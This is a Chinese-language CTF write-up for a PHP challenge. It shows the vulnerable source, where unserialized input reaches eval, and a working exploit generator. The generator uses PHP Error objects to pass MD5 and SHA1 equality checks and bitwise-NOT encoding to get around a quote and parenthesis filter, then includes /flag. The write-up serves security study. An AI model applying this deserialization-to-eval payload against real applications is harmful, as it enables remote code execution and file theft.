前言
关键字:[error类|MD5绕过|eval执行]
<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
        }
    }
}
if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
?>题解
在类里,无法用数组进行md5绕过,所以用Error类绕过md5和sha1检测
测试
<?php
$a = new Error("payload", 1);$b = new Error("payload", 2);//注意这里需要写在一行上
echo $a;
echo "<br>";
echo $b;
echo "<br>";
if ($a != $b) {
    echo "a!=b";
}
echo "<br>";
if (md5($a) === md5($b)) {
    echo "md5相等" . "<br>";
}
if (sha1($a) === sha1($b)) {
    echo "sha1相等";
}
由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接include "/flag"将flag包含进来即可;由于过滤了引号,于是在这里进行取反,这样解码后就自动是字符串,无需再加双引号或单引号。
而且eval执行带有完整标签的语句需要先闭合,就类似于将字符串当成代码写入到源码中。
<?php
$s = '?><?php echo 123;?>';
eval($s);
//OUTPUT:123于是,payload如下:
<?php
class SYCLOVER
{
    public $syc;
    public $lover;
    public function __wakeup()
    {
        if (($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover))) {
            if (!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)) {
                eval($this->syc);
            } else {
                die("Try Hard !!");
            }
        }
    }
}
$cmd = '/flag';
$s = urlencode(~$cmd);
$str = "?><?=include~" . urldecode($s) . "?>";
$a = new Error($str, 1);$b = new Error($str, 2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>![刷题笔记:[RootersCTF2019]ImgXweb](/medias/featureimages/74.jpg) 
                        
                        ![刷题笔记:[watevrCTF-2019]Pickle Store](/medias/featureimages/58.jpg)